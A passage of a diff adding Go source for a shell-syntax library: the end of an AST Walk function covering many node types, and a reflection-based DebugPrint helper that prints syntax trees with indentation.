+ walkStmts(x.Stmts, x.Last, f)
+ case *ParamExp:
+ Walk(x.Param, f)
+ if x.Index != nil {
+ Walk(x.Index, f)
+ }
+ if x.Repl != nil {
+ if x.Repl.Orig != nil {
+ Walk(x.Repl.Orig, f)
+ }
+ if x.Repl.With != nil {
+ Walk(x.Repl.With, f)
+ }
+ }
+ if x.Exp != nil && x.Exp.Word != nil {
+ Walk(x.Exp.Word, f)
+ }
+ case *ArithmExp:
+ Walk(x.X, f)
+ case *ArithmCmd:
+ Walk(x.X, f)
+ case *BinaryArithm:
+ Walk(x.X, f)
+ Walk(x.Y, f)
+ case *BinaryTest:
+ Walk(x.X, f)
+ Walk(x.Y, f)
+ case *UnaryArithm:
+ Walk(x.X, f)
+ case *UnaryTest:
+ Walk(x.X, f)
+ case *ParenArithm:
+ Walk(x.X, f)
+ case *ParenTest:
+ Walk(x.X, f)
+ case *CaseClause:
+ Walk(x.Word, f)
+ for _, ci := range x.Items {
+ Walk(ci, f)
+ }
+ for _, c := range x.Last {
+ Walk(&c, f)
+ }
+ case *CaseItem:
+ for _, c := range x.Comments {
+ if c.Pos().After(x.Pos()) {
+ defer Walk(&c, f)
+ break
+ }
+ Walk(&c, f)
+ }
+ walkWords(x.Patterns, f)
+ walkStmts(x.Stmts, x.Last, f)
+ case *TestClause:
+ Walk(x.X, f)
+ case *DeclClause:
+ for _, a := range x.Args {
+ Walk(a, f)
+ }
+ case *ArrayExpr:
+ for _, el := range x.Elems {
+ Walk(el, f)
+ }
+ for _, c := range x.Last {
+ Walk(&c, f)
+ }
+ case *ArrayElem:
+ for _, c := range x.Comments {
+ if c.Pos().After(x.Pos()) {
+ defer Walk(&c, f)
+ break
+ }
+ Walk(&c, f)
+ }
+ if x.Index != nil {
+ Walk(x.Index, f)
+ }
+ if x.Value != nil {
+ Walk(x.Value, f)
+ }
+ case *ExtGlob:
+ Walk(x.Pattern, f)
+ case *ProcSubst:
+ walkStmts(x.Stmts, x.Last, f)
+ case *TimeClause:
+ if x.Stmt != nil {
+ Walk(x.Stmt, f)
+ }
+ case *CoprocClause:
+ if x.Name != nil {
+ Walk(x.Name, f)
+ }
+ Walk(x.Stmt, f)
+ case *LetClause:
+ for _, expr := range x.Exprs {
+ Walk(expr, f)
+ }
+ case *TestDecl:
+ Walk(x.Description, f)
+ Walk(x.Body, f)
+ default:
+ panic(fmt.Sprintf("syntax.Walk: unexpected node type %T", x))
+ }
+
+ f(nil)
+}
+
+// DebugPrint prints the provided syntax tree, spanning multiple lines and with
+// indentation. Can be useful to investigate the content of a syntax tree.
+func DebugPrint(w io.Writer, node Node) error {
+ p := debugPrinter{out: w}
+ p.print(reflect.ValueOf(node))
+ return p.err
+}
+
+type debugPrinter struct {
+ out io.Writer
+ level int
+ err error
+}
+
+func (p *debugPrinter) printf(format string, args ...any) {
+ _, err := fmt.Fprintf(p.out, format, args...)
+ if err != nil && p.err == nil {
+ p.err = err
+ }
+}
+
+func (p *debugPrinter) newline() {
+ p.printf("\n")
+ for i := 0; i < p.level; i++ {
+ p.printf(". ")
+ }
+}
+
+func (p *debugPrinter) print(x reflect.Value) {
+ switch x.Kind() {
+ case reflect.Interface:
+ if x.IsNil() {
+ p.printf("nil")
+ return
+ }
+ p.print(x.Elem())
+ case reflect.Ptr:
+ if x.IsNil() {
+ p.printf("nil")
+ return
+ }
+ p.printf("*")
+ p.print(x.Elem())
+ case reflect.Slice:
+ p.printf("%s (len = %d) {", x.Type(), x.Len())
+ if x.Len() > 0 {
+ p.level++
+ p.newline()
+ for i := 0; i < x.Len(); i++ {
+ p.printf("%d: ", i)
+ p.print(x.Index(i))
+ if i == x.Len()-1 {
+ p.level--
+ }
+ p.newline()
+ }
+ }
+ p.printf("}")
+
+ case reflect.Struct:
+ if v, ok := x.Interface().(Pos); ok {
+ p.printf("%v:%v", v.Line(), v.Col())
+ return
+ }
+ t := x.Type()
+ p.printf("%s {", t)
+ p.level++
+ p.newline()
+ for i := 0; i < t.NumField(); i++ {
+ p.printf("%s: ", t.Field(i).Name)
+ p.print(x.Field(i))
+ if i == x.NumField()-1 {
+ p.level--
+ }
+ p.newline()
+ }
+ p.printf("}")
+ default:
+ p.printf("%#v", x.Interface())
+ }
+}